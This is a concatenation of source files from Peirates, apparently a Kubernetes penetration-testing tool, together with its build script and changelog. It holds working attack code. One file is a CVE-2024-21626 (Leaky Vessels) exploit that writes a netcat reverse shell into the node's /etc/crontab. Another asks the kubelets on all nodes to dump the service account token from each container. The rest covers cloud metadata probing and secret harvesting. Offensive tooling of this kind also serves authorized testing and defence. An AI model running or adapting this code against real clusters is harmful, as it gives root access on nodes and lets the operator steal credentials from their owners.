"☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️" 17 | echo "Install dependencies..." 18 | go get golang.org/x/tools/cmd/godoc 19 | go mod download github.com/aws/aws-sdk-go 20 | } 21 | 22 | function build_from_source() { 23 | echo "‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️" 24 | echo "Build from source..." 25 | go get -v "github.com/inguardians/peirates" 26 | go get -v "k8s.io/kubectl/pkg/cmd" "github.com/aws/aws-sdk-go" 27 | cd ${CURRENT_DIR}/../scripts && ./build.sh # is this right? 28 | } 29 | 30 | function docker() { 31 | echo "‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️" | tee ${DOCKER_LOG} 32 | echo "Docker build..." | tee -a ${DOCKER_LOG} 33 | cd ${CURRENT_DIR}/../deployments && docker-compose build peirates | -a tee ${DOCKER_LOG} 34 | echo "Size of image: $(docker image ls | head -2 | grep peirate|rev | cut -d' ' -f1 | rev)" | tee -a ${DOCKER_LOG} 35 | echo "Tagging image: $(docker images -q | head -1)" | tee -a ${DOCKER_LOG} 36 | # echo "Tagging image:" (docker images -q | head -1) # for fish shell 37 | } 38 | 39 | function security() { 40 | echo "‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️" | tee ${SECURITY_LOG} 41 | echo "GoSec Security Checks..." | tee -a ${SECURITY_LOG} 42 | cd ${CURRENT_DIR}/.. && gosec -conf ${CURRENT_DIR}/.gosec.config.json -track-suppressions ./... 2>&1 | tee -a ${SECURITY_LOG} 43 | } 44 | 45 | function test_all() { 46 | echo "‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️" | tee ${TEST_LOG} 47 | echo "testing..." | tee -a ${TEST_LOG} 48 | echo "" | tee -a ${TEST_LOG} 49 | echo "view available minor and patch upgrades for all direct and indirect dependencies" | tee -a ${TEST_LOG} 50 | cd ${CURRENT_DIR}/.. && go list -u -m all 2>&1 | tee -a ${TEST_LOG} 51 | echo "upgrades to the latest or minor patch release" | tee -a ${TEST_LOG} 52 | cd ${CURRENT_DIR}/.. && go get -u ./... 2>&1 | tee -a ${TEST_LOG} 53 | echo "upgrade test dependencies" | tee -a ${TEST_LOG} 54 | cd ${CURRENT_DIR}/.. && go get -t -u ./... 2>&1 | tee -a ${TEST_LOG} 55 | echo "test that packages are working correctly after an upgrade" | tee -a ${TEST_LOG} 56 | cd ${CURRENT_DIR}/.. && go test all 2>&1 | tee -a ${TEST_LOG} 57 | } 58 | 59 | function godoc() { 60 | echo "‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️" 61 | echo "Godoc..." 62 | godoc -http=:6060 63 | get -m -k -q -erobots=off --no-host-directories --no-use-server-timestamps http://localhost:6060 64 | } 65 | 66 | function main() { 67 | install_deps 68 | security 69 | test_all 70 | #docker 71 | #docker system prune -f # clean up the local disk 72 | #godoc 73 | } 74 | 75 | main -------------------------------------------------------------------------------- /cve-2024-21626.go: -------------------------------------------------------------------------------- 1 | package peirates 2 | 3 | import ( 4 | "errors" 5 | "fmt" 6 | "io" 7 | "os" 8 | ) 9 | 10 | // createLeakyVesselPod() creates a pod to exploit CVE-2024-21626 11 | func createLeakyVesselPod(connectionString ServerInfo) error { 12 | 13 | if !kubectlAuthCanI(connectionString, "create", "pods") { 14 | println("[-] Permission Denied: your service account isn't allowed to create pods") 15 | return errors.New("Service account not allow to create pods") 16 | } 17 | 18 | // Explain what to expect. 19 | println(` 20 | Provided you are permitted to create pods, Peirates can create a pod that 21 | exploits CVE-2024-21626. This vulnerability (Leaky Vessels) allows you access 22 | to the node's filesystem. 23 | 24 | In the current Peirates version, this allows you to add a line to the 25 | node's /etc/crontab file to run a netcat reverse shell. Future versions will 26 | allow other options. 27 | `) 28 | 29 | // Before presenting all IP addresses, give the user the IP address for eth0 if available. 30 | eth0IP, err := GetMyIPAddress("eth0") 31 | if err != nil { 32 | fmt.Println("IP address for eth0 is ", eth0IP) 33 | } 34 | 35 | println("Your IP addresses: ") 36 | GetMyIPAddressesNative() 37 | 38 | println("What IP and Port will your netcat listener be listening on?") 39 | var ip, port string 40 | println("IP:") 41 | _, err = fmt.Scanln(&ip) 42 | println("Port:") 43 | _, err = fmt.Scanln(&port) 44 | 45 | // Create a manifest file in the /tmp directory 46 | manifestTmpFile, err := os.CreateTemp("/tmp", "manifest-cve-2024-21626-*.yaml") 47 | if err != nil { 48 | fmt.Println("Failed to create manifest file:", err) 49 | return fmt.Errorf("Failed to create manifest file: %w", err) 50 | } 51 | manifestTmpFilePath := manifestTmpFile.Name() 52 | fmt.Println("DEBUG: created manifest file:", manifestTmpFilePath) 53 | 54 | // close and delete the manifest file when we're done. 55 | defer func() { 56 | manifestTmpFile.Close() 57 | os.Remove(manifestTmpFilePath) 58 | }() 59 | 60 | // Create a pod manifest in a string. 61 | randString := randSeq(6) 62 | podName := "cve-2024-21626-" + randString 63 | command := fmt.Sprintf("echo \"* * * * * root nc -e /bin/sh %s %s\" >> ../../../../etc/crontab", ip, port) 64 | workingDir := "/proc/self/fd/8" 65 | image := "alpine:latest" 66 | manifestContents := fmt.Sprintf(`--- 67 | apiVersion: v1 68 | kind: Pod 69 | metadata: 70 | name: %s 71 | spec: 72 | containers: 73 | - command: 74 | - /bin/sh 75 | - -c 76 | - %s 77 | image: %s 78 | name: %s 79 | workingDir: %s 80 | restartPolicy: Never 81 | ...`, podName, command, image, podName, workingDir) 82 | 83 | // Write the manifest file 84 | _, err = io.WriteString(manifestTmpFile, manifestContents) 85 | if err != nil { 86 | fmt.Println("Failed to write to manifest file:", err) 87 | return fmt.Errorf("Failed to write to manifest file: %w", err) 88 | } 89 | manifestTmpFile.Close() 90 | 91 | // Create the pod 92 | _, _, err = runKubectlSimple(connectionString, "create", "-f", manifestTmpFilePath) 93 | if err != nil { 94 | fmt.Printf("[-] Error while creating hostile pod: %s\n", err.Error()) 95 | return fmt.Errorf("Error while creating hostile pod: %w", err) 96 | } 97 | 98 | fmt.Printf("Pod %s created - if this works, it will write a netcat reverse shell into its node's /etc/crontab to run every minute.\n\n", podName) 99 | 100 | return nil 101 | } 102 | -------------------------------------------------------------------------------- /cloud_detection.go: -------------------------------------------------------------------------------- 1 | package peirates 2 | 3 | import ( 4 | "fmt" 5 | "net/http" 6 | "os" 7 | "runtime" 8 | "strings" 9 | "time" 10 | ) 11 | 12 | var hc = &http.Client{Timeout: 300 * time.Millisecond} 13 | 14 | type CloudProvider struct { 15 | Name string 16 | URL string 17 | HTTPMethod string 18 | CustomHeader string 19 | CustomHeaderValue string 20 | ResultString string 21 | } 22 | 23 | func populateAndCheckCloudProviders() string { 24 | providers := []CloudProvider{ 25 | { 26 | Name: "AWS", 27 | URL: "http://169.254.169.254/latest/", 28 | HTTPMethod: "GET", 29 | CustomHeader: "", 30 | CustomHeaderValue: "", 31 | ResultString: "meta-data", 32 | }, 33 | { 34 | Name: "Azure", 35 | URL: "http://169.254.169.254/metadata/instance?api-version=2024-03-15", 36 | HTTPMethod: "GET", 37 | CustomHeader: "Metadata", 38 | CustomHeaderValue: "true", 39 | ResultString: "AzurePublicCloud", 40 | }, 41 | { 42 | Name: "Google Cloud", 43 | URL: "http://metadata.google.internal/computeMetadata/", 44 | HTTPMethod: "GET", 45 | CustomHeader: "Metadata-Flavor", 46 | CustomHeaderValue: "Google", 47 | ResultString: "v1/", 48 | }, 49 | { 50 | Name: "DigitalOcean", 51 | URL: "http://169.254.169.254/metadata/v1/dns/", 52 | HTTPMethod: "GET", 53 | CustomHeader: "", 54 | CustomHeaderValue: "", 55 | ResultString: "nameservers", 56 | }, 57 | { 58 | Name: "AWS (IMDSv2)", 59 | URL: "http://169.254.169.254/latest/api/token", 60 | HTTPMethod: "PUT", 61 | CustomHeader: "X-aws-ec2-metadata-token-ttl-seconds", 62 | CustomHeaderValue: "21600", 63 | ResultString: "", 64 | }, 65 | } 66 | 67 | // Check to see if we are on a cloud provider at all before checking every single cloud provider's Metadata API. 68 | client := http.Client{ 69 | Timeout: 1 * time.Second, 70 | } 71 | url := "http://169.254.169.254/" 72 | // IMDSv2 will return a 401 in this case 73 | _, err := client.Get(url) 74 | if err != nil { 75 | return "-- Public Cloud Provider not detected --" 76 | } 77 | 78 | // Now check each cloud provider's metadata API. 79 | for _, provider := range providers { 80 | fmt.Printf("Checking %s...\n", provider.Name) 81 | 82 | var response string 83 | var statusCode int 84 | 85 | var lines []HeaderLine 86 | 87 | if provider.CustomHeader != "" { 88 | line := HeaderLine{LHS: provider.CustomHeader, RHS: provider.CustomHeaderValue} 89 | lines = append(lines, line) 90 | response, statusCode, err = GetRequest(provider.URL, lines, true) 91 | } else { 92 | response, statusCode, err = GetRequest(provider.URL, nil, true) 93 | } 94 | 95 | if err != nil { 96 | continue 97 | } 98 | if provider.Name == "AWS (IMDSv2)" { 99 | if statusCode == http.StatusOK { 100 | return provider.Name 101 | } 102 | } 103 | 104 | if strings.Contains(response, provider.ResultString) { 105 | return provider.Name 106 | } 107 | } 108 | return "-- Public Cloud Metadata API not detected --" 109 | } 110 | 111 | func detectContainer() string { 112 | b, err := os.ReadFile("/proc/self/cgroup") 113 | if err != nil { 114 | return "" 115 | } 116 | 117 | fc := string(b) 118 | kube := strings.Contains(fc, "kube") 119 | container := strings.Contains(fc, "containerd") 120 | 121 | if kube { 122 | return "K8S Container" 123 | } 124 | 125 | if container { 126 | return "Container" 127 | } 128 | 129 | return "" 130 | } 131 | 132 | func detectOpenStack() string { 133 | if runtime.GOOS != "windows" { 134 | data, err := os.ReadFile("/sys/class/dmi/id/sys_vendor") 135 | if err != nil { 136 | return "" 137 | } 138 | if strings.Contains(string(data), "OpenStack Foundation") { 139 | return "OpenStack" 140 | } 141 | return "" 142 | } 143 | return "" 144 | } 145 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/inguardians/peirates 2 | 3 | go 1.23.0 4 | 5 | toolchain go1.23.8 6 | 7 | require ( 8 | github.com/aws/aws-sdk-go v1.42.4 9 | github.com/ergochat/readline v0.1.0 10 | gopkg.in/yaml.v3 v3.0.1 11 | k8s.io/kubectl v0.32.3 12 | ) 13 | 14 | require ( 15 | github.com/Azure/go-ansiterm v0.0.0-20230124172434-306776ec8161 // indirect 16 | github.com/MakeNowJust/heredoc v1.0.0 // indirect 17 | github.com/blang/semver/v4 v4.0.0 // indirect 18 | github.com/chai2010/gettext-go v1.0.2 // indirect 19 | github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc // indirect 20 | github.com/distribution/reference v0.6.0 // indirect 21 | github.com/emicklei/go-restful/v3 v3.11.0 // indirect 22 | github.com/exponent-io/jsonpath v0.0.0-20210407135951-1de76d718b3f // indirect 23 | github.com/fatih/camelcase v1.0.0 // indirect 24 | github.com/fxamacker/cbor/v2 v2.7.0 // indirect 25 | github.com/go-errors/errors v1.4.2 // indirect 26 | github.com/go-logr/logr v1.4.2 // indirect 27 | github.com/go-openapi/jsonpointer v0.21.0 // indirect 28 | github.com/go-openapi/jsonreference v0.20.2 // indirect 29 | github.com/go-openapi/swag v0.23.0 // indirect 30 | github.com/gogo/protobuf v1.3.2 // indirect 31 | github.com/golang/protobuf v1.5.4 // indirect 32 | github.com/google/btree v1.0.1 // indirect 33 | github.com/google/gnostic-models v0.6.8 // indirect 34 | github.com/google/go-cmp v0.6.0 // indirect 35 | github.com/google/gofuzz v1.2.0 // indirect 36 | github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510 // indirect 37 | github.com/google/uuid v1.6.0 // indirect 38 | github.com/gorilla/websocket v1.5.0 // indirect 39 | github.com/gregjones/httpcache v0.0.0-20190611155906-901d90724c79 // indirect 40 | github.com/inconshreveable/mousetrap v1.1.0 // indirect 41 | github.com/jmespath/go-jmespath v0.4.0 // indirect 42 | github.com/jonboulle/clockwork v0.4.0 // indirect 43 | github.com/josharian/intern v1.0.0 // indirect 44 | github.com/json-iterator/go v1.1.12 // indirect 45 | github.com/liggitt/tabwriter v0.0.0-20181228230101-89fcab3d43de // indirect 46 | github.com/lithammer/dedent v1.1.0 // indirect 47 | github.com/mailru/easyjson v0.7.7 // indirect 48 | github.com/mitchellh/go-wordwrap v1.0.1 // indirect 49 | github.com/moby/spdystream v0.5.0 // indirect 50 | github.com/moby/term v0.5.0 // indirect 51 | github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect 52 | github.com/modern-go/reflect2 v1.0.2 // indirect 53 | github.com/monochromegane/go-gitignore v0.0.0-20200626010858-205db1a8cc00 // indirect 54 | github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 // indirect 55 | github.com/mxk/go-flowrate v0.0.0-20140419014527-cca7078d478f // indirect 56 | github.com/opencontainers/go-digest v1.0.0 // indirect 57 | github.com/peterbourgon/diskv v2.0.1+incompatible // indirect 58 | github.com/pkg/errors v0.9.1 // indirect 59 | github.com/russross/blackfriday/v2 v2.1.0 // indirect 60 | github.com/spf13/cobra v1.8.1 // indirect 61 | github.com/spf13/pflag v1.0.5 // indirect 62 | github.com/x448/float16 v0.8.4 // indirect 63 | github.com/xlab/treeprint v1.2.0 // indirect 64 | golang.org/x/net v0.38.0 // indirect 65 | golang.org/x/oauth2 v0.27.0 // indirect 66 | golang.org/x/sync v0.12.0 // indirect 67 | golang.org/x/sys v0.31.0 // indirect 68 | golang.org/x/term v0.30.0 // indirect 69 | golang.org/x/text v0.23.0 // indirect 70 | golang.org/x/time v0.7.0 // indirect 71 | google.golang.org/protobuf v1.35.1 // indirect 72 | gopkg.in/evanphx/json-patch.v4 v4.12.0 // indirect 73 | gopkg.in/inf.v0 v0.9.1 // indirect 74 | k8s.io/api v0.32.3 // indirect 75 | k8s.io/apimachinery v0.32.3 // indirect 76 | k8s.io/cli-runtime v0.32.3 // indirect 77 | k8s.io/client-go v0.32.3 // indirect 78 | k8s.io/component-base v0.32.3 // indirect 79 | k8s.io/component-helpers v0.32.3 // indirect 80 | k8s.io/klog/v2 v2.130.1 // indirect 81 | k8s.io/kube-openapi v0.0.0-20241105132330-32ad38e42d3f // indirect 82 | k8s.io/metrics v0.32.3 // indirect 83 | k8s.io/utils v0.0.0-20241104100929-3ea5e8cea738 // indirect 84 | sigs.k8s.io/json v0.0.0-20241010143419-9aa6b5e7a4b3 // indirect 85 | sigs.k8s.io/kustomize/api v0.18.0 // indirect 86 | sigs.k8s.io/kustomize/kustomize/v5 v5.5.0 // indirect 87 | sigs.k8s.io/kustomize/kyaml v0.18.1 // indirect 88 | sigs.k8s.io/structured-merge-diff/v4 v4.4.2 // indirect 89 | sigs.k8s.io/yaml v1.4.0 // indirect 90 | ) 91 | -------------------------------------------------------------------------------- /exec_via_kubelet_api.go: -------------------------------------------------------------------------------- 1 | package peirates 2 | 3 | import ( 4 | "crypto/tls" 5 | "encoding/json" 6 | "fmt" 7 | "io" 8 | "net/http" 9 | "net/url" 10 | "strconv" 11 | "strings" 12 | ) 13 | 14 | // ExecuteCodeOnKubelet runs a command on every pod on every node via their Kubelets. 15 | func ExecuteCodeOnKubelet(connectionString ServerInfo, serviceAccounts *[]ServiceAccount) { 16 | 17 | println("[+] Getting IP addresses for the nodes in the cluster...") 18 | // BUG : This auth check isn't catching when we're not allowed to get nodes at the cluster scope 19 | if !kubectlAuthCanI(connectionString, "get", "nodes") { 20 | println("[-] Permission Denied: your service account isn't allowed to get nodes") 21 | return 22 | } 23 | 24 | nodeDetailOut, _, err := runKubectlSimple(connectionString, "get", "nodes", "-o", "json") 25 | println(nodeDetailOut) 26 | 27 | if err != nil { 28 | println("[-] Unable to retrieve node details: ") 29 | } else { 30 | var getnodeDetail GetNodeDetails 31 | err := json.Unmarshal(nodeDetailOut, &getnodeDetail) 32 | if err != nil { 33 | println("[-] Error unmarshaling data in this secret: ", err) 34 | } 35 | 36 | nodeLoop: 37 | for _, item := range getnodeDetail.Items { 38 | 39 | for _, addr := range item.Status.Addresses { 40 | // println("[+] Found IP for node " + item.Metadata.Name + " - " + addr.Address) 41 | if addr.Type != "Hostname" { 42 | 43 | // Make a request for our service account(s) 44 | var headers []HeaderLine 45 | 46 | unauthKubeletPortURL := "http://" + addr.Address + ":10255/pods" 47 | nodeName := item.Metadata.Name 48 | 49 | println("[+] Kubelet Pod Listing URL: " + nodeName + " - " + unauthKubeletPortURL) 50 | println("[+] Grabbing Pods from node: " + nodeName) 51 | 52 | runningPodsBody, _, err := GetRequest(unauthKubeletPortURL, headers, false) 53 | if err != nil { 54 | fmt.Println("Error encountered on GetRequest to", unauthKubeletPortURL, "was", err) 55 | continue nodeLoop 56 | } 57 | if (runningPodsBody == "") || (strings.HasPrefix(runningPodsBody, "ERROR:")) { 58 | println("[-] Kubelet request for running pods failed - using this URL:", unauthKubeletPortURL) 59 | continue nodeLoop 60 | } 61 | 62 | var output []PodNamespaceContainerTuple 63 | var podDetails PodDetails 64 | 65 | err = json.Unmarshal([]byte(runningPodsBody), &podDetails) 66 | if err != nil { 67 | println("[-] Error unmarshaling data in this secret: ", err) 68 | } 69 | 70 | for _, item := range podDetails.Items { 71 | podName := item.Metadata.Name 72 | podNamespace := item.Metadata.Namespace 73 | for _, container := range item.Status.ContainerStatuses { 74 | running := container.State.Running != nil 75 | containerName := container.Name 76 | if running && containerName != "pause" { 77 | output = append(output, PodNamespaceContainerTuple{ 78 | PodName: podName, 79 | PodNamespace: podNamespace, 80 | ContainerName: containerName, 81 | }) 82 | // Let's set up to do the exec via the Kubelet 83 | tr := &http.Transport{ 84 | TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, 85 | } 86 | sslClient := &http.Client{Transport: tr} 87 | 88 | data := url.Values{} 89 | data.Set("cmd", "cat "+ServiceAccountPath+"token") 90 | 91 | urlExecPod := "https://" + addr.Address + ":10250/run/" + podNamespace + "/" + podName + "/" + containerName + "/" 92 | 93 | // reqExecPod, err := http.PostForm(urlExecPod, formData) 94 | println("===============================================================================================") 95 | println("Asking Kubelet to dump service account token via URL:", urlExecPod) 96 | println("") 97 | reqExecPod, err := http.NewRequest("POST", urlExecPod, strings.NewReader(data.Encode())) 98 | if err != nil { 99 | println("[-] Error with request: ", err) 100 | } 101 | reqExecPod.Header.Add("Content-Type", "application/x-www-form-urlencoded") 102 | reqExecPod.Header.Add("Content-Length", strconv.Itoa(len(data.Encode()))) 103 | respExecPod, err := sslClient.Do(reqExecPod) 104 | if err != nil { 105 | fmt.Printf("[-] Error - could not perform request --%s-- - %s\n", urlExecPod, err.Error()) 106 | //respExecPod.Body.Close() // do we defer here? 107 | continue 108 | } 109 | if respExecPod.Status != "200 OK" { 110 | fmt.Printf("[-] Error - response code: %s\n", respExecPod.Status) 111 | continue 112 | } 113 | defer respExecPod.Body.Close() 114 | bodyExecCommand, err := io.ReadAll(respExecPod.Body) 115 | if err != nil { 116 | println("[-] Error reading data: ", err) 117 | } 118 | token := string(bodyExecCommand) 119 | println("[+] Got service account token for", "ns:"+podNamespace+" pod:"+podName+" container:"+containerName+":", token) 120 | println("") 121 | name := "Pod ns:" + podNamespace + ":" + podName 122 | 123 | AddNewServiceAccount(name, token, "kubelet", serviceAccounts) 124 | } 125 | } 126 | } 127 | } 128 | } 129 | } 130 | } 131 | } 132 | -------------------------------------------------------------------------------- /curl.go: -------------------------------------------------------------------------------- 1 | package peirates 2 | 3 | import ( 4 | "fmt" 5 | "net/url" 6 | "strings" 7 | ) 8 | 9 | func curl(interactive bool, logToFile bool, outputFileName string) { 10 | 11 | println("[+] Enter a URL, including http:// or https:// - if parameters are required, you must provide them as part of the URL: ") 12 | fullURL, err := ReadLineStripWhitespace() 13 | if err != nil { 14 | println("Problem with reading URL: %v", err) 15 | pauseToHitEnter(interactive) 16 | return 17 | } 18 | fullURL = strings.ToLower(fullURL) 19 | 20 | // Make sure the URL begins with http:// or https://. 21 | if !strings.HasPrefix(fullURL, "http://") && !strings.HasPrefix(fullURL, "https://") { 22 | fmt.Println("This URL does not start with http:// or https://") 23 | pauseToHitEnter(interactive) 24 | return 25 | } 26 | 27 | // If the URL is https, ask more questions. 28 | https := false 29 | ignoreTLSErrors := false 30 | caCertPath := "" 31 | 32 | if strings.HasPrefix(fullURL, "https://") { 33 | https = true 34 | // Ask the user if they want to ignore certificate validation 35 | println("Would you like to ignore whether the server certificate is valid (y/n)? This corresponds to curl's -k flag.") 36 | answer, err := ReadLineStripWhitespace() 37 | if err != nil { 38 | println("Problem with stripping whitespace: %v", err) 39 | } 40 | answer = strings.ToLower(answer) 41 | if strings.HasPrefix(answer, "y") { 42 | ignoreTLSErrors = true 43 | } 44 | 45 | println("If you would like to set a custom certificate authority cert path, enter it here. Otherwise, hit enter.") 46 | caCertPath, err = ReadLineStripWhitespace() 47 | if err != nil { 48 | println("Problem with stripping whitespace: %v", err) 49 | pauseToHitEnter(interactive) 50 | return 51 | } 52 | } 53 | 54 | // Get the HTTP method 55 | method := "--undefined--" 56 | for (method != "GET") && (method != "POST") { 57 | fmt.Println("[+] Enter method - only GET and POST are supported: ") 58 | input, err := ReadLineStripWhitespace() 59 | if err != nil { 60 | println("Problem with stripping whitespace: %v", err) 61 | pauseToHitEnter(interactive) 62 | return 63 | } 64 | method = strings.TrimSpace(strings.ToUpper(input)) 65 | } 66 | 67 | // Store the headers in a list 68 | var headers []HeaderLine 69 | 70 | inputHeader := "undefined" 71 | 72 | fmt.Println("[+] Specify custom header lines, if desired, entering the Header name, hitting Enter, then the Header value.") 73 | for inputHeader != "" { 74 | // Request a header name 75 | 76 | fmt.Println("[+] Enter a header name or a blank line if done: ") 77 | input, err := ReadLineStripWhitespace() 78 | if err != nil { 79 | println("Problem with stripping whitespace: %v", err) 80 | pauseToHitEnter(interactive) 81 | return 82 | } 83 | 84 | inputHeader = strings.TrimSpace(input) 85 | 86 | if inputHeader != "" { 87 | // Remove trailing : if present 88 | inputHeader = strings.TrimSuffix(inputHeader, ":") 89 | 90 | // Request a header rhs (value) 91 | fmt.Println("[+] Enter a value for " + inputHeader + ":") 92 | input, err = ReadLineStripWhitespace() 93 | if err != nil { 94 | println("Problem with stripping whitespace: %v", err) 95 | pauseToHitEnter(interactive) 96 | return 97 | } 98 | 99 | // Add the header value to the list 100 | var header HeaderLine 101 | header.LHS = inputHeader 102 | header.RHS = input 103 | headers = append(headers, header) 104 | } 105 | 106 | } 107 | 108 | inputParameter := "--undefined--" 109 | 110 | // Store the parameters in a map 111 | params := map[string]string{} 112 | 113 | fmt.Printf("[+] Now enter parameters which will be placed into the query string or request body.\n\n") 114 | fmt.Printf(" If you set a Content-Type manually to something besides application/x-www-form-urlencoded, use the parameter name as the complete key=value pair and leave the value blank.\n\n") 115 | 116 | for inputParameter != "" { 117 | // Request a parameter name 118 | 119 | fmt.Println("[+] Enter a parameter or a blank line to finish entering parameters: ") 120 | inputParameter, err = ReadLineStripWhitespace() 121 | if err != nil { 122 | println("Problem with stripping whitespace: %v", err) 123 | pauseToHitEnter(interactive) 124 | return 125 | } 126 | 127 | if inputParameter != "" { 128 | // Request a parameter value 129 | fmt.Println("[+] Enter a value for " + inputParameter + ": ") 130 | input, err := ReadLineStripWhitespace() 131 | if err != nil { 132 | println("Problem with stripping whitespace: %v", err) 133 | pauseToHitEnter(interactive) 134 | return 135 | } 136 | 137 | // Add the parameter pair to the list 138 | params[inputParameter] = url.QueryEscape(input) 139 | } 140 | 141 | } 142 | 143 | var paramLocation string 144 | if len(params) > 0 { 145 | for (paramLocation != "url") && (paramLocation != "body") { 146 | fmt.Println("\nWould you like to place parameters in the URL (like in a GET query) or in the body (like in a POST)\nurl or body: ") 147 | paramLocation, err = ReadLineStripWhitespace() 148 | if err != nil { 149 | println("Problem with stripping whitespace: %v", err) 150 | pauseToHitEnter(interactive) 151 | return 152 | } 153 | paramLocation = strings.ToLower(paramLocation) 154 | } 155 | } 156 | 157 | // Make the request and get the response. 158 | request, err := createHTTPrequest(method, fullURL, headers, paramLocation, params) 159 | if err != nil { 160 | println("Could not create request.") 161 | pauseToHitEnter(interactive) 162 | return 163 | } 164 | responseBody, err := DoHTTPRequestAndGetBody(request, https, ignoreTLSErrors, caCertPath) 165 | if err != nil { 166 | println("Request failed.") 167 | pauseToHitEnter(interactive) 168 | return 169 | } 170 | outputToUser(string(responseBody), logToFile, outputFileName) 171 | pauseToHitEnter(interactive) 172 | } 173 | -------------------------------------------------------------------------------- /changelog.md: -------------------------------------------------------------------------------- 1 | ## v1.1.14 2 | - Added a feature to display the values of stored service account tokens 3 | - Added a verbose (-v) flag to display additional DEBUG messages. 4 | - Updated upstream libraries to handle vulnerabilities found in dependencies: CVE-2023-39325, CVE-2023-44487, CVE-2023-3978 5 | 6 | ## v1.1.13 7 | 8 | - Added cloud provider detection from @devsecfranklin 9 | - Bump gopkg.in/yaml.v3 to avoid DoS risk on filesystem 10 | - Added a function to get eth0 IP addr and put in banner 11 | - Parse the current pod's service account name from its JWT 12 | - Cleaned up menu formatting 13 | 14 | ## v1.1.12 15 | 16 | - Added a second variation of kubectl-try-all that tries a command as every service account collected, no longer stopping on the first success. (Idea from @Malachi-the-Ninja) 17 | 18 | ## v1.1.11 19 | 20 | Added image building and K8S deployment functions from @devsecfranklin 21 | Improved error handling on CoreDNS wildcard trick 22 | Added another kubelet kubeconfig file path and handled errors better 23 | Added a credits.md file and added a developer to it: @devsecfranklin 24 | 25 | ## v1.1.10 26 | 27 | - fixed kubelet cert/key pulling code to handle kubelet kubeconfig files with embedded user cert/key pairs 28 | - updated kubeconfig file parsing to parse via the YAML library, which is much more resilient 29 | 30 | ## v1.1.9 31 | 32 | - Updated recovering service account tokens from the node filesystem to handle the ServiceAccount admission controller 33 | 34 | ## v1.1.8 35 | 36 | - Beta feature: one-shot (non-interactive) menu items work, but are under-documented in the UI. 37 | - New feature (GA): harvest secrets from the node filesystem is now available on-menu and -m one-shot 38 | 39 | ## v1.1.7 40 | 41 | - Alpha feature: one-shot (non-interactive) menu items work, but are under-documented in the UI. 42 | - New feature (GA) : service discovery via CoreDNS wildcard SRV request using methodology posted by @ raesene 43 | 44 | ## v1.1.6 45 | 46 | - Alpha feature: allows you to run menu items from the command-line in a one-shot method, to allow scripting 47 | 48 | ## v1.1.5 49 | 50 | - added feature to better name secrets found on node using the pod's etc-hosts file 51 | - we now avoid adding duplicate service accounts from the kubelet secret gathering 52 | - shell command takes multiple commands 53 | 54 | ## v1.1.4 55 | 56 | - refactored curl feature 57 | - made a bugfix to using node certs 58 | 59 | ## v1.1.3 60 | 61 | - added quick commands for switching service accounts and namespace, without having to navigate submenus 62 | - bugfix - kubectl logic had dropped namespace context 63 | 64 | ## v1.1.2 65 | 66 | - added a kubectl-try-all feature - tries every service account and client cert that peirates has gathered it has until it finds one that can do the command. 67 | 68 | ## v1.1.1 69 | 70 | - execute shell commands from the main menu via "shell [args]" 71 | - execute kubectl commands from the menu via "kubectl [args]" 72 | - kubectl no longer locks you to namespace context - can be overridden with -n or --all-namespaces 73 | 74 | ## v1.1.0 75 | 76 | - Peirates can now be run outside of a pod. 77 | - Peirates automatically gathers kubelet cert/key pairs from the node filesystem 78 | - Peirates automatically gathers pods secrets from the node filesystem 79 | 80 | ## v1.0.36 81 | 82 | - Peirates now uses kubelet certs if run on a node 83 | - -u (API Server URL) replaces -i (IP address/name of API server) and -p (port of API server) 84 | - Peirates does not require an API server to be specified to start, only to run relevant commands. 85 | 86 | ## v1.0.35 87 | 88 | - Updated GCP metadata API token parsing for Google's change 89 | 90 | ## v1.0.34 91 | 92 | - Added JWT parsing 93 | 94 | ## v1.0.33 95 | 96 | - Simple TCP portscan functionality 97 | 98 | ## 